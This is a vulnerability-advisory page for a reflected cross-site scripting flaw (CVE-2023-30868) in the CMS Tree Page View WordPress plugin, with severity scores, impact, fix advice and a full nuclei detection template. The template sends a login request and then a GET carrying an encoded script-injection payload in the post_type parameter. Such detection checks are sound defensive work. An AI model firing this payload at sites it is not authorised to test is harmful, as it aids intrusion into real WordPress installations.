Tree Page View Plugin < 1.6.7 - Cross-Site Scripting

mediumseverity

6.1CVSS score

4%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

The CMS Tree Page View plugin for WordPress has a Reflected Cross-Site Scripting vulnerability up to version 1.6.7. This is due to the post_type parameter not properly escaping user input. As a result, users with administrator privileges or higher can inject JavaScript code that will execute whenever accessed.

Impact

Authenticated high-privilege attackers (admin) can inject malicious JavaScript through the post_type parameter to compromise other administrator accounts and gain persistent access to the WordPress site.

Fix

Update CMS Tree Page View plugin to version 1.6.7 or later that properly escapes the post_type parameter in the admin interface to prevent reflected XSS attacks.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/edit.php?page=cms-tpv-page-post&post_type=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains(content_type_2, "text/html") and contains(body_2, "%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E") && contains(body_2, "CMS Tree Page View") and status_code_2 == 200

Run it with nuclei: nuclei -id CVE-2023-30868 -u <target>

The full check

id: CVE-2023-30868

info:
  name: Tree Page View Plugin < 1.6.7 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The CMS Tree Page View plugin for WordPress has a Reflected Cross-Site Scripting vulnerability up to version 1.6.7. This is due to the post_type parameter not properly escaping user input. As a result, users with administrator privileges or higher can inject JavaScript code that will execute whenever accessed.
  impact: |
    Authenticated high-privilege attackers (admin) can inject malicious JavaScript through the post_type parameter to compromise other administrator accounts and gain persistent access to the WordPress site.
  remediation: |
    Update CMS Tree Page View plugin to version 1.6.7 or later that properly escapes the post_type parameter in the admin interface to prevent reflected XSS attacks.
  reference:
    - https://www.exploit-db.com/exploits/51507
    - https://wpscan.com/vulnerability/407c62af-8e2d-441d-8332-0afad5d07014
    - https://nvd.nist.gov/vuln/detail/CVE-2023-30868
    - http://packetstormsecurity.com/files/172730/WordPress-Tree-Page-View-1.6.7-Cross-Site-Scripting.html
    - https://patchstack.com/database/vulnerability/cms-tree-page-view/wordpress-cms-tree-page-view-plugin-1-6-7-cross-site-scripting-xss-vulnerability?_s_id=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-30868
    cwe-id: CWE-79
    epss-score: 0.03995
    epss-percentile: 0.90607
    cpe: cpe:2.3:a:cms_tree_page_view_project:cms_tree_page_view:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: cms_tree_page_view_project
    product: cms_tree_page_view
    framework: wordpress
  tags: cve2023,cve,wpscan,packetstorm,xss,wp,wordpress,authenticated,exploitdb,cms_tree_page_view_project,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/edit.php?page=cms-tpv-page-post&post_type=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E") && contains(body_2, "CMS Tree Page View")'
          - 'status_code_2 == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from